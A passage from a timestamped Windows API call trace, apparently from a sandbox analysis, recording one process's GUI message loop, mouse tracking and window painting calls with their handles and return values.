(lpPrevWndFunc=0xffff00b1, hWnd=0x10358, Msg=0xbc4e, wParam=0x10358, lParam=0x18f8b8) returned 0x0 [0264.560] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10358, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0264.560] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10358, Msg=0xd, wParam=0x8, lParam=0x18e78c) returned 0x7 [0264.560] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10358, Msg=0xd, wParam=0x10, lParam=0x18e764) returned 0x7 [0264.561] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0264.561] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0264.561] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0264.561] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0264.561] GetClientRect (in: hWnd=0x10340, lpRect=0x18f8c8 | out: lpRect=0x18f8c8) returned 1 [0264.561] FillRect (hDC=0x1f01019b, lprc=0x18f8c8, hbr=0xe100186) returned 1 [0264.562] IsIconic (hWnd=0xc0060) returned 0 [0264.562] IsIconic (hWnd=0xc0060) returned 0 [0264.562] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f7a8 | out: lpRect=0x18f7a8) returned 1 [0264.562] FillRect (hDC=0x3901069e, lprc=0x18f7a8, hbr=0xe100186) returned 1 [0264.562] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x318, wParam=0x3901069e, lParam=0x4) returned 0x0 [0264.562] SendMessageA (hWnd=0x10340, Msg=0xbd35, wParam=0x3901069e, lParam=0x10340) returned 0xe100186 [0264.562] GetSysColor (nIndex=8) returned 0x0 [0264.562] SetTextColor (hdc=0x3901069e, color=0x0) returned 0x0 [0264.562] GetSysColor (nIndex=15) returned 0xf0f0f0 [0264.562] SetBkColor (hdc=0x3901069e, color=0xf0f0f0) returned 0xf0f0f0 [0264.562] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0264.562] GetCurrentProcessId () returned 0x8d0 [0264.562] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0264.562] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f8b8) returned 0x0 [0264.562] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0264.562] GetCurrentProcessId () returned 0x8d0 [0264.562] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0264.563] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f8b8) returned 0x0 [0264.563] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0264.563] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x8, lParam=0x18e78c) returned 0x7 [0264.563] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x10, lParam=0x18e764) returned 0x7 [0264.563] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0264.563] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0264.563] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0264.564] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0264.564] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0264.564] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=821, y=600)) returned 1 [0264.564] WindowFromPoint (Point=0x338) returned 0xc0060 [0264.564] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x25a0338) returned 0x1 [0264.564] GetWindowThreadProcessId (in: hWnd=0xc0060, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0264.564] GetCurrentProcessId () returned 0x8d0 [0264.564] GetPropA (hWnd=0xc0060, lpString=0xc167) returned 0x2c84fd8 [0264.564] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0264.564] PtInRect (lprc=0x18fed0, pt=0x161) returned 0 [0264.564] GetCapture () returned 0x0 [0264.564] WaitMessage () returned 1 [0264.623] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0264.623] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0264.623] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0264.623] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0264.623] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0264.623] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=821, y=600)) returned 1 [0264.624] WindowFromPoint (Point=0x335) returned 0xc0060 [0264.624] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x2580335) returned 0x1 [0264.624] GetWindowThreadProcessId (in: hWnd=0xc0060, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0264.624] GetCurrentProcessId () returned 0x8d0 [0264.624] GetPropA (hWnd=0xc0060, lpString=0xc167) returned 0x2c84fd8 [0264.624] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0264.624] PtInRect (lprc=0x18fed0, pt=0x15e) returned 0 [0264.624] GetCapture () returned 0x0 [0264.624] WaitMessage () returned 1 [0264.686] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0264.686] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0264.686] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0264.686] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0264.686] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0264.686] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=821, y=600)) returned 1 [0264.687] WindowFromPoint (Point=0x336) returned 0xc0060 [0264.687] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x2580336) returned 0x1 [0264.687] GetWindowThreadProcessId (in: hWnd=0xc0060, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0264.687] GetCurrentProcessId () returned 0x8d0 [0264.687] GetPropA (hWnd=0xc0060, lpString=0xc167) returned 0x2c84fd8 [0264.687] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0264.687] PtInRect (lprc=0x18fed0, pt=0x15f) returned 0 [0264.687] GetCapture () returned 0x0 [0264.687] WaitMessage () returned 1 [0265.154] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0265.154] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0265.155] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0265.155] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0265.155] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=821, y=600)) returned 1 [0265.155] WindowFromPoint (Point=0x338) returned 0xc0060 [0265.155] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x2500338) returned 0x1 [0265.155] GetWindowThreadProcessId (in: hWnd=0xc0060, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0265.155] GetCurrentProcessId () returned 0x8d0 [0265.155] GetPropA (hWnd=0xc0060, lpString=0xc167) returned 0x2c84fd8 [0265.155] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0265.155] PtInRect (lprc=0x18fed0, pt=0x161) returned 0 [0265.155] GetCapture () returned 0x0 [0265.155] WaitMessage () returned 1 [0265.947] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0265.947] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0265.947] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0265.948] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0265.948] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=821, y=600)) returned 1 [0265.948] WindowFromPoint (Point=0x335) returned 0xc0060 [0265.948] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x2580335) returned 0x1 [0265.948] GetWindowThreadProcessId (in: hWnd=0xc0060, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0265.948] GetCurrentProcessId () returned 0x8d0 [0265.948] GetPropA (hWnd=0xc0060, lpString=0xc167) returned 0x2c84fd8 [0265.948] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0265.948] PtInRect (lprc=0x18fed0, pt=0x15e) returned 0 [0265.948] GetCapture () returned 0x0 [0265.948] WaitMessage () returned 1 [0266.152] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0266.152] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0266.152] DispatchMessageA (lpMsg=0x18ff1c) returned 0x1 [0266.152] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0266.152] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=821, y=600)) returned 1 [0266.152] WindowFromPoint (Point=0x336) returned 0xc0060 [0266.152] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x2580336) returned 0x1 [0266.152] GetWindowThreadProcessId (in: hWnd=0xc0060, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0266.152] GetCurrentProcessId () returned 0x8d0 [0266.152] GetPropA (hWnd=0xc0060, lpString=0xc167) returned 0x2c84fd8 [0266.152] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0266.152] PtInRect (lprc=0x18fed0, pt=0x15f) returned 0 [0266.152] GetCapture () returned 0x0 [0266.152] WaitMessage () returned 1 [0266.545] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0266.545] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0266.545] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0266.546] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0266.546] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=821, y=600)) returned 1 [0266.546] WindowFromPoint (Point=0x335) returned 0xc0060 [0266.546] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x2580335) returned 0x1 [0266.546] GetWindowThreadProcessId (in: hWnd=0xc0060, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0266.546] GetCurrentProcessId () returned 0x8d0 [0266.546] GetPropA (hWnd=0xc0060, lpString=0xc167) returned 0x2c84fd8 [0266.546] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0266.546] PtInRect (lprc=0x18fed0, pt=0x15e) returned 0 [0266.546] GetCapture () returned 0x0 [0266.546] WaitMessage () returned 1 [0266.938] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0266.938] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x24d032a) returned 0x1 [0266.938] GetCursorPos (in: lpPoint=0x18fc8c | out: lpPoint=0x18fc8c*(x=810, y=589)) returned 1 [0266.938] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fc74 | out: lpPoint=0x18fc74) returned 1 [0266.938] PtInRect (lprc=0x18fc68, pt=0x153) returned 0 [0266.938] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0xc0060, lParam=0x2000001) returned 0x0 [0266.938] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0266.938] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0266.938] GetCapture () returned 0x0 [0266.938] PtInRect (lprc=0x18fd3c, pt=0x153) returned 0 [0266.938] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fd30 | out: lpPoint=0x18fd30) returned 1 [0266.938] WindowFromPoint (Point=0x32a) returned 0xc0060 [0266.938] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x24d032a) returned 0x1 [0266.939] GetWindowThreadProcessId (in: hWnd=0xc0060, lpdwProcessId=0x18fd10 | out: lpdwProcessId=0x18fd10) returned 0x8cc [0266.939] GetCurrentProcessId () returned 0x8d0 [0266.939] GetPropA (hWnd=0xc0060, lpString=0xc167) returned 0x2c84fd8 [0266.939] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fd14 | out: lpPoint=0x18fd14) returned 1 [0266.939] PtInRect (lprc=0x18fd08, pt=0x153) returned 0 [0266.939] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x200, wParam=0x0, lParam=0x1480153) returned 0x0 [0266.939] GetKeyState (nVirtKey=18) returned 1 [0266.939] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0266.939] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=810, y=589)) returned 1 [0266.939] WindowFromPoint (Point=0x32a) returned 0xc0060 [0266.939] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x24d032a) returned 0x1 [0266.939] GetWindowThreadProcessId (in: hWnd=0xc0060, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0266.939] GetCurrentProcessId () returned 0x8d0 [0266.939] GetPropA (hWnd=0xc0060, lpString=0xc167) returned 0x2c84fd8 [0266.939] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0266.939] PtInRect (lprc=0x18fed0, pt=0x153) returned 0 [0266.939] GetCapture () returned 0x0 [0266.939] WaitMessage () returned 1 [0266.959] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0266.959] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x2430320) returned 0x1 [0266.959] GetCursorPos (in: lpPoint=0x18fc8c | out: lpPoint=0x18fc8c*(x=800, y=579)) returned 1 [0266.960] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fc74 | out: lpPoint=0x18fc74) returned 1 [0266.960] PtInRect (lprc=0x18fc68, pt=0x149) returned 0 [0266.960] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0xc0060, lParam=0x2000001) returned 0x0 [0266.960] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0266.960] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0266.960] GetCapture () returned 0x0 [0266.960] PtInRect (lprc=0x18fd3c, pt=0x149) returned 0 [0266.960] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fd30 | out: lpPoint=0x18fd30) returned 1 [0266.960] WindowFromPoint (Point=0x320) returned 0xc0060 [0266.960] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x2430320) returned 0x1 [0266.960] GetWindowThreadProcessId (in: hWnd=0xc0060, lpdwProcessId=0x18fd10 | out: lpdwProcessId=0x18fd10) returned 0x8cc [0266.960] GetCurrentProcessId () returned 0x8d0 [0266.960] GetPropA (hWnd=0xc0060, lpString=0xc167) returned 0x2c84fd8 [0266.960] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fd14 | out: lpPoint=0x18fd14) returned 1 [0266.960] PtInRect (lprc=0x18fd08, pt=0x149) returned 0 [0266.960] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x200, wParam=0x0, lParam=0x13e0149) returned 0x0 [0266.960] GetKeyState (nVirtKey=18) returned 1 [0266.960] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0266.960] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=800, y=579)) returned 1 [0266.960] WindowFromPoint (Point=0x31d) returned 0xc0060 [0266.961] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x241031d) returned 0x1 [0266.961] GetWindowThreadProcessId (in: hWnd=0xc0060, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0266.961] GetCurrentProcessId () returned 0x8d0 [0266.961] GetPropA (hWnd=0xc0060, lpString=0xc167) returned 0x2c84fd8 [0266.961] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0266.961] PtInRect (lprc=0x18fed0, pt=0x146) returned 0 [0266.961] GetCapture () returned 0x0 [0266.961] WaitMessage () returned 1 [0266.972] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0266.972] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20320, Msg=0x84, wParam=0x0, lParam=0x2390316) returned 0x1 [0266.972] GetCursorPos (in: lpPoint=0x18fca4 | out: lpPoint=0x18fca4*(x=790, y=569)) returned 1 [0266.972] ClientToScreen (in: hWnd=0x20320, lpPoint=0x18fc8c | out: lpPoint=0x18fc8c) returned 1 [0266.972] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20320, Msg=0x20, wParam=0x20320, lParam=0x2000001) returned 0x0 [0266.972] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x40338, Msg=0x20, wParam=0x20320, lParam=0x2000001) returned 0x0 [0266.972] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0x20, wParam=0x20320, lParam=0x2000001) returned 0x0 [0266.972] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x20, wParam=0x20320, lParam=0x2000001) returned 0x0 [0266.972] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x20320, lParam=0x2000001) returned 0x0 [0266.973] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0266.973] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0266.973] GetCapture () returned 0x0 [0266.973] ClientToScreen (in: hWnd=0x20320, lpPoint=0x18fd48 | out: lpPoint=0x18fd48) returned 1 [0266.973] WindowFromPoint (Point=0x316) returned 0x20320 [0266.973] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20320, Msg=0x84, wParam=0x0, lParam=0x2390316) returned 0x1 [0266.973] GetWindowThreadProcessId (in: hWnd=0x20320, lpdwProcessId=0x18fd28 | out: lpdwProcessId=0x18fd28) returned 0x8cc [0266.973] GetCurrentProcessId () returned 0x8d0 [0266.973] GetPropA (hWnd=0x20320, lpString=0xc167) returned 0x2c869a8 [0266.973] ClientToScreen (in: hWnd=0x20320, lpPoint=0x18fd2c | out: lpPoint=0x18fd2c) returned 1 [0266.973] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20320, Msg=0x200, wParam=0x0, lParam=0xec0117) returned 0x0 [0266.973] GetKeyState (nVirtKey=18) returned 1 [0266.973] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0266.973] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=790, y=569)) returned 1 [0266.973] WindowFromPoint (Point=0x314) returned 0x20320 [0266.973] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20320, Msg=0x84, wParam=0x0, lParam=0x2380314) returned 0x1 [0266.974] GetWindowThreadProcessId (in: hWnd=0x20320, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0266.974] GetCurrentProcessId () returned 0x8d0 [0266.974] GetPropA (hWnd=0x20320, lpString=0xc167) returned 0x2c869a8 [0266.974] ClientToScreen (in: hWnd=0x20320, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0266.974] GetCapture () returned 0x0 [0266.974] WaitMessage () returned 1 [0266.982] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0266.982] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0x84, wParam=0x0, lParam=0x22f030c) returned 0x1 [0266.982] GetCursorPos (in: lpPoint=0x18fc98 | out: lpPoint=0x18fc98*(x=780, y=559)) returned 1 [0266.982] ClientToScreen (in: hWnd=0x1034a, lpPoint=0x18fc80 | out: lpPoint=0x18fc80) returned 1 [0266.982] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0x20, wParam=0x1034a, lParam=0x2000001) returned 0x0 [0266.983] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20320, Msg=0x20, wParam=0x1034a, lParam=0x2000001) returned 0x0 [0266.983] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x40338, Msg=0x20, wParam=0x1034a, lParam=0x2000001) returned 0x0 [0266.983] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0x20, wParam=0x1034a, lParam=0x2000001) returned 0x0 [0266.983] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x20, wParam=0x1034a, lParam=0x2000001) returned 0x0 [0266.983] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x1034a, lParam=0x2000001) returned 0x0 [0266.983] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0266.983] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0266.983] GetCapture () returned 0x0 [0266.983] ClientToScreen (in: hWnd=0x1034a, lpPoint=0x18fd3c | out: lpPoint=0x18fd3c) returned 1 [0266.983] WindowFromPoint (Point=0x30c) returned 0x1034a [0266.983] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0x84, wParam=0x0, lParam=0x22f030c) returned 0x1 [0266.983] GetWindowThreadProcessId (in: hWnd=0x1034a, lpdwProcessId=0x18fd1c | out: lpdwProcessId=0x18fd1c) returned 0x8cc [0266.983] GetCurrentProcessId () returned 0x8d0 [0266.983] GetPropA (hWnd=0x1034a, lpString=0xc167) returned 0x2c86c44 [0266.983] ClientToScreen (in: hWnd=0x1034a, lpPoint=0x18fd20 | out: lpPoint=0x18fd20) returned 1 [0266.983] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0x200, wParam=0x0, lParam=0xa010d) returned 0x0 [0266.984] GetWindowThreadProcessId (in: hWnd=0x1034a, lpdwProcessId=0x18f970 | out: lpdwProcessId=0x18f970) returned 0x8cc [0266.984] GetCurrentProcessId () returned 0x8d0 [0266.984] GetPropA (hWnd=0x1034a, lpString=0xc167) returned 0x2c86c44 [0266.984] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xbc4e, wParam=0x1034a, lParam=0x18fbc8) returned 0x0 [0266.984] GetKeyState (nVirtKey=18) returned 1 [0266.984] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0266.984] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0266.984] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0266.984] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0266.984] GetClientRect (in: hWnd=0x1034a, lpRect=0x18f8c8 | out: lpRect=0x18f8c8) returned 1 [0266.984] FillRect (hDC=0x2a010b57, lprc=0x18f8c8, hbr=0xe100186) returned 1 [0266.986] GetClientRect (in: hWnd=0x20320, lpRect=0x18f7cc | out: lpRect=0x18f7cc) returned 1 [0266.987] FillRect (hDC=0x33010b67, lprc=0x18f7cc, hbr=0xe100186) returned 1 [0266.987] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20320, Msg=0x318, wParam=0x33010b67, lParam=0x4) returned 0x0 [0266.987] SendMessageA (hWnd=0x1034a, Msg=0xbd38, wParam=0x33010b67, lParam=0x1034a) returned 0xe100186 [0266.987] GetSysColor (nIndex=8) returned 0x0 [0266.987] SetTextColor (hdc=0x33010b67, color=0x0) returned 0x0 [0266.987] GetSysColor (nIndex=15) returned 0xf0f0f0 [0266.987] SetBkColor (hdc=0x33010b67, color=0xf0f0f0) returned 0xffffff [0266.987] GetWindowThreadProcessId (in: hWnd=0x1034a, lpdwProcessId=0x18f654 | out: lpdwProcessId=0x18f654) returned 0x8cc [0266.987] GetCurrentProcessId () returned 0x8d0 [0266.987] GetPropA (hWnd=0x1034a, lpString=0xc167) returned 0x2c86c44 [0266.987] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xbc4e, wParam=0x1034a, lParam=0x18f924) returned 0x0 [0266.987] GetWindowThreadProcessId (in: hWnd=0x1034a, lpdwProcessId=0x18f654 | out: lpdwProcessId=0x18f654) returned 0x8cc [0266.987] GetCurrentProcessId () returned 0x8d0 [0266.987] GetPropA (hWnd=0x1034a, lpString=0xc167) returned 0x2c86c44 [0266.987] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xbc4e, wParam=0x1034a, lParam=0x18f924) returned 0x0 [0266.988] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x1e [0266.988] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xd, wParam=0x1f, lParam=0x18e7f8) returned 0x1e [0266.988] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xd, wParam=0x3e, lParam=0x18e7d0) 